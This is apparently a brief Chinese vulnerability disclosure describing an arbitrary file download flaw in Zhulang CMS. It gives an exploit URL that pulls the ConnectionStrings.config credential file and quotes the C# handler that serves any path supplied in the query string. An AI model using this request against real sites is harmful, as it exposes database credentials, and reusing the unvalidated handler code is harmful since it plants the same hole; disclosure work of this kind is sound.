逐浪CMS任意文件下载（官方DEMO演示）

http://**.**.**.**/user/iServer/FiServerInfo.aspx?menu=filedown&filepath=//Config//ConnectionStrings.config

http://**.**.**.**/user/iServer/FiServer.aspx

protected void Page_Load(object sender, EventArgs e)
 {
     if (!string.IsNullOrEmpty(base.Request.QueryString["menu"]) && (base.Request.QueryString["menu"] == "filedown"))
     {
         string path = base.Request.QueryString["filepath"];
         if (path != "")
         {
             FileInfo info = new FileInfo(base.Server.MapPath(path));
             if (info.Exists)
             {
                 base.Response.Clear();
                 base.Response.AddHeader("Content-Disposition", "attachment; filename=" + base.Server.UrlEncode(info.Name));
                 base.Response.AddHeader("Content-Length", info.Length.ToString());
                 base.Response.ContentType = "application/octet-stream";
                 base.Response.Filter.Close();
                 base.Response.WriteFile(info.FullName);
                 base.Response.End();
             }
             else
             {
                 base.Response.Write("<script>alert('该文件不存在！');history.go(-1);</script>");
             }
         }
     }
     if (!base.IsPostBack)
     {
         int questionId = DataConverter.CLng(base.Request.QueryString["QuestionId"]);
         this.MyBind(questionId);
         this.spfiletype.InnerHtml = SiteConfig.SiteOption.UploadFileExts;
     }
 }